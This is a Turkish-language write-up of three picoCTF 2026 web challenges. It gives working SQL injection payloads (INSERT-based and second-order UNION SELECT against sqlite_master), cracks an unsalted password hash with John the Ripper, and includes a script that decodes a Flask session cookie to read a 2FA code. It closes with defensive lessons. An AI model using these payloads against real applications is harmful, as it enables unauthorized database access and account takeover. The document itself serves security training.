
picoCTF 2026 — Web Exploitation Write-Up
Merhabalar ben Enes, önceki picoCTF yazımda biraz pwn ve küçük privilege escalation’lar yapmıştık. Bugün de web exploitation üzerine birkaç soru çözeceğiz. Web zafiyetleri gerçekten yorucu veya sıkıcı olabiliyor ama bulduktan sonra yine aynı zevki veriyor.
Secret Box
Uygulamaya girdiğimizde bizi bir ekran karşılıyor, giriş veya kayıt yapabiliyoruz. Burada admin hesabı için çeşitli SQL injection taktikleri denedim ancak olmadı. Sonrasında yeni bir kullanıcı oluşturup sisteme girdim. Sır ekleme ekranında ilk olarak tabi ki bir “tek tırnak” denedim ve karşıma şöyle bir hata çıktı.


İlk satırdan da gördüğünüz gibi bu logdan iki önemli şey elde ettik:
- Sistemde PostgreSQL kullanılıyor
- Girdilerimiz hiçbir filtrelemeden geçmeden direkt INSERT sorgusuna dahil ediliyor
Sonrasında kaynak kodu incelemeye başladım. db/initdb.sql dosyasının içinde admin id’sini buldum:
INSERT INTO users(id, username, password) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');
INSERT INTO secrets(owner_id, content) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}');
Aradığımız flag de secrets tablosunun content sütununda duruyor. Sonrasında src/server.js dosyasında, sır ekleme işleminin yapıldığı kısmı buldum.

Gördüğünüz gibi alınan veri string interpolation ile sorgunun içine gömülüyor.
Gelelim exploitation aşamasına. Hazırladığım payload:
' || (SELECT content FROM secrets WHERE owner_id = 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1) || '
Bu sayede arkada çalışan kod şu oldu:
INSERT INTO secrets(owner_id, content) VALUES ('benim-id-degerim', '' || (SELECT content FROM secrets WHERE owner_id = 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1) || '')
Sistem gidip adminin flag’ini aldı ve benim content’ime yazdı. Flag de zaten benim kendi sırrım (secret) olarak direkt ekrana geldi.

No FA

Elimizde 3 şey var:
- Leaked data
- Kaynak kodu
- Login ekranı
Tabi ki admin’e girmeye çalışıyoruz. Kaynak kodda şöyle zafiyetli bir yer var:
if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:
Öncelikle şifrelerin SHA256 ile hashlendiğini ve hiçbir tuzlama işlemi yapılmadığını öğreniyoruz. Elimizdeki leaked dataya baktığımızda admin’in şifresi de burada salt’sız bir hash halinde duruyor.

Şifreyi John the Ripper aracı ile rockyou wordlist’ini kullanarak kırıyoruz.

Admin kullanıcı adı ve kırdığımız apple@123 şifresi ile giriş yaptıktan sonra karşımıza bir 2FA (İki Aşamalı Doğrulama) ekranı geliyor.

Kaynak koddaki bu kısım 2FA’in o kadar da güvenilir olmadığını gösteriyordu:
otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
Sadece 4 haneli bir sayı olduğu için brute force denenebilirdi. Ancak asıl olay, sonradan araştırdığım üzere, bu sitede kullanılan Flask framework’ünün varsayılan olarak session verilerini sunucuda değil, tarayıcımızda çerezler kısmında tutuyor olması. Yani aslında uygulama benden girmemi istediği OTP kodunu, çerezimde Base64 ile kodlanmış halde saklıyordu.
Tarayıcıda geliştirici araçlarını açıp session çerezini buldum. Çerez .eJw... şeklinde başlıyordu. Başındaki nokta, bu verinin sadece Base64 ile kodlanmadığını, aynı zamanda Zlib ile sıkıştırıldığını gösteriyordu. Daha sonrasında bunu çözmek için şu Python scriptini kullandım:
import base64
import zlib
# Tarayıcıdan aldığımız session çerezinin ilk kısmı (noktadan sonrası)
payload = "eJwty0sKgCAQANC7zFoCLbW8TEhOIvjDmVbR3WvR9sG7IbcYMYCD02dCENC474THQP5Qab39xqkgsS8dnLR2XpVZtJyU0UZaI-AiHNUX_JIPJVV4XkbdHGU"
# Base64 padding (doldurma) eksiklerini tamamlıyoruz
payload += "=" * ((4 - len(payload) % 4) % 4)
# URL-safe Base64 decode işlemi
decoded = base64.urlsafe_b64decode(payload)
# Zlib ile sıkıştırılmış veriyi açıyoruz
decompressed = zlib.decompress(decoded)
print("Çözülen Session Verisi:")
print(decompressed.decode('utf-8'))
Kodu çalıştırdıktan sonra otp elimizde.

Sonrasında otp’yi giriyoruz ve flag bizde.
Bu sorudan çok güzel dersler çıkıyor aslında:
- Şifreleri plaintext olarak tutmayı geçtim, kesinlikle salted bir şekilde hashlenmeli.
- Veriler client tarafında değil sunucu tarafında tutulmalı.
ORDER ORDER
Gelelim web sorularının sonuncusuna. Bol denemeli ve eğlenceli bir soruydu. Soruyu okuduğumda aklıma pek bir şey gelmedi. Daha sonrasında “order in sql injection” araştırırken karşıma Second-Order SQL Injection çıktı. Bu soruda da bu konunun üzerine yoğunlaşacaktık. Siteye girdiğimde bir register, bir de login ekranı vardı. Register ekranında ve login ekranında inputlarımız herhangi bir hataya sebep vermedi ama sitenin içindeki generate report kısmında, kullandığımız payload’lu kullanıcı adları sömürüye izin verdi. İşte buna second order sql injection diyoruz.

Sisteme giriş yaptığımızda bir Dashboard ve bir Expenses sekmesi ile karşılaştık. Expenses sekmesinde bir Generate Report butonu bulunuyordu. Bu buton, giriş yapan kullanıcının harcamalarını veritabanından çekip bir CSV dosyası oluşturuyor ve Inbox sekmesine gönderiyordu.
Eğer sistem, daha önce veritabanına kaydettiğimiz zararlı kullanıcı adımızı bu rapor oluşturma aşamasında korumasız bir SQL sorgusuna dahil ediyorsa, içeride kod çalıştırabilirdik. İlk adım:
admin'--
kullanıcı adıyla kayıt oldum. Giriş yapıp Generate Report dedikten sonra şöyle bir ekranla karşılaştım.

Report kısmından da göründüğü üzere payload’lu nick’imiz işe yaramıştı. Ayrıca CSV dosyasının içi boştu çünkü “admin” kullanıcısına ait bir harcama kaydı yoktu. Ancak CSV dosyasının içinde en azından sütunları görebiliyorduk: Description, Amount, Date.
Burada 3 sütunlu bir UNION SELECT kullanacaktık. Şöyle bir payload hazırladım. Bu payload bizim kullanıcı adımız olacak:
test' UNION SELECT tbl_name, '2', '3' FROM sqlite_master WHERE type='table'--
Bu kullanıcı adıyla kayıt olup giriş yaptım, sonrasında generate report dedim ve bu şekilde bir CSV dosyası geldi.

Standart tabloların arasında bir tanesi sırıtıyordu. aDNyM19uMF9mMTRn bizim flag’imizi saklayan tablo olabilir.
Sütun isimlerini öğrenmek için çeşitli yöntemler denedim ama olmadı. Ben de son olarak nokta atışı sorgu yapmak yerine, veritabanındaki tüm tabloların CREATE TABLE şemalarını tek seferde çekmeye ve aradaki satır atlama karakterlerini (char(10) ve char(13)) SQL’in replace() fonksiyonu ile boşluğa çevirmeye karar verdim. Kullandığım payload (bu payload’u nickname olarak kullanıp sisteme kayıt oluyorum):
test' UNION SELECT replace(replace(sql, char(13), ''), char(10), ' '), '2', '3' FROM sqlite_master--
- satırda gördüğümüz üzere kompleks isimli tablomuzun
namevevalueadlı 2 sütunu var.

Son bir payload’lu kayıt işlemiyle flag’e ulaşabileceğimi umut ettim:
test' UNION SELECT name, value, '3' FROM aDNyM19uMF9mMTRn--
Kayıt oldum, giriş yaptım ve generate report dedim.

Flag bizde.
Bu CTF sorusu aslında, verinin sisteme girdiği ilk noktada filtrelenmesinin veya Prepared Statements kullanılmasının tek başına yeterli olmadığını harika bir şekilde özetliyor. Veritabanına alınan verinin, uygulamanın diğer fonksiyonlarında da (bu senaryoda Rapor oluşturma ekranında) her zaman “untrusted input” olarak muamele görmesi ve aynı güvenlik standartlarından geçirilmesi gerekiyor.
Okuduğunuz için teşekkürler. Bir başka siber güvenlik içeriğinde görüşmek üzere :)